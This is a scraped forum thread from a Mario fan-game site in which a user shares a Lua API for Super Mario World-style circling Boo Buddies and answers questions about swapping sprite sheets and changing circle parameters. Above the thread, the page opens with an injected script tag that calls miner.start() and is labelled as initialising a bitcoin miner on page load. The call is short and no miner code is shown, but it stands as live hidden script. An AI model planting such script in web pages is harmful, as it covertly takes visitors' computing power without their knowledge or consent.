<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmw centralirc.cat.bio

[LUA] Circling Boo Buddies API

The second SMBX collab!
S1eth
Posts: 285
Joined: 2 years ago

[LUA] Circling Boo Buddies API

Postby S1eth » 1 year ago

This is an API for creating the boo buddy circles from Super Mario World and Super Mario Maker.




Download and documentation at http://wohlsoft.ru/pgewiki/BooBuddies.lua
Image

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 502
Joined: 4 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: [LUA] Circling Boo Buddies API

Postby ztarwuff » 1 year ago

S1eth wrote:This is an API for creating the boo buddy circles from Super Mario World and Super Mario Maker.




Download and documentation at http://wohlsoft.ru/pgewiki/BooBuddies.lua
Wasn't this showcased in the MAGLX2? Anyway, that's really cool.

User avatar
7NameSam
hey
Posts: 221
Joined: 2 years ago
Pronouns: he/him/his

Re: [LUA] Circling Boo Buddies API

Postby 7NameSam » 1 year ago

I feel like that a good improvement to this library would be being able to use a graphic in the level folder as the graphic for the boo.
Also being able to change a boo circle's parameters like boo numbers whenever (if that's not already possible).
Image

S1eth
Posts: 285
Joined: 2 years ago

Re: [LUA] Circling Boo Buddies API

Postby S1eth » 1 year ago

ztarwuff wrote: Wasn't this showcased in the MAGLX2? Anyway, that's really cool.
Yes. That one was hardcoded for that one screen only, no reusable code and no way to customize, though.
https://youtu.be/MG-O2MrJs7Q?t=21m21s
7NameSam wrote:I feel like that a good improvement to this library would be being able to use a graphic in the level folder as the graphic for the boo.
You can replace the graphic. It uses Misc.resolveFile("booBuddies/boos.png").
This means that it will always look in your level folder first before looking in the LuaScripts folder.
The script uses a single spritesheet instead of individual images, so you'll have to make a copy of that and edit it for your level.
And when a boo dies, it uses the death effects from SMBX's boos. If you want custom circle boos that can die, you also need custom death effects for the SMB3 or SMW boo.
7NameSam wrote: Also being able to change a boo circle's parameters like boo numbers whenever (if that's not already possible).
When you create a booCircle, the create function returns the BooCircle object. You can access all fields of that BooCircle and change them later on.
Except numberOfBoos, which is only used in create to make a table of Boo objects. You can access the table with myBooCircle.boos, but I didn't think people would want to change the number of boos in a circle after creating it, so I didn't write functions for doing that.
And it would look weird if a boo circle suddenly spawned another boo, or one boo disappears.
Image


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 3 guests

cron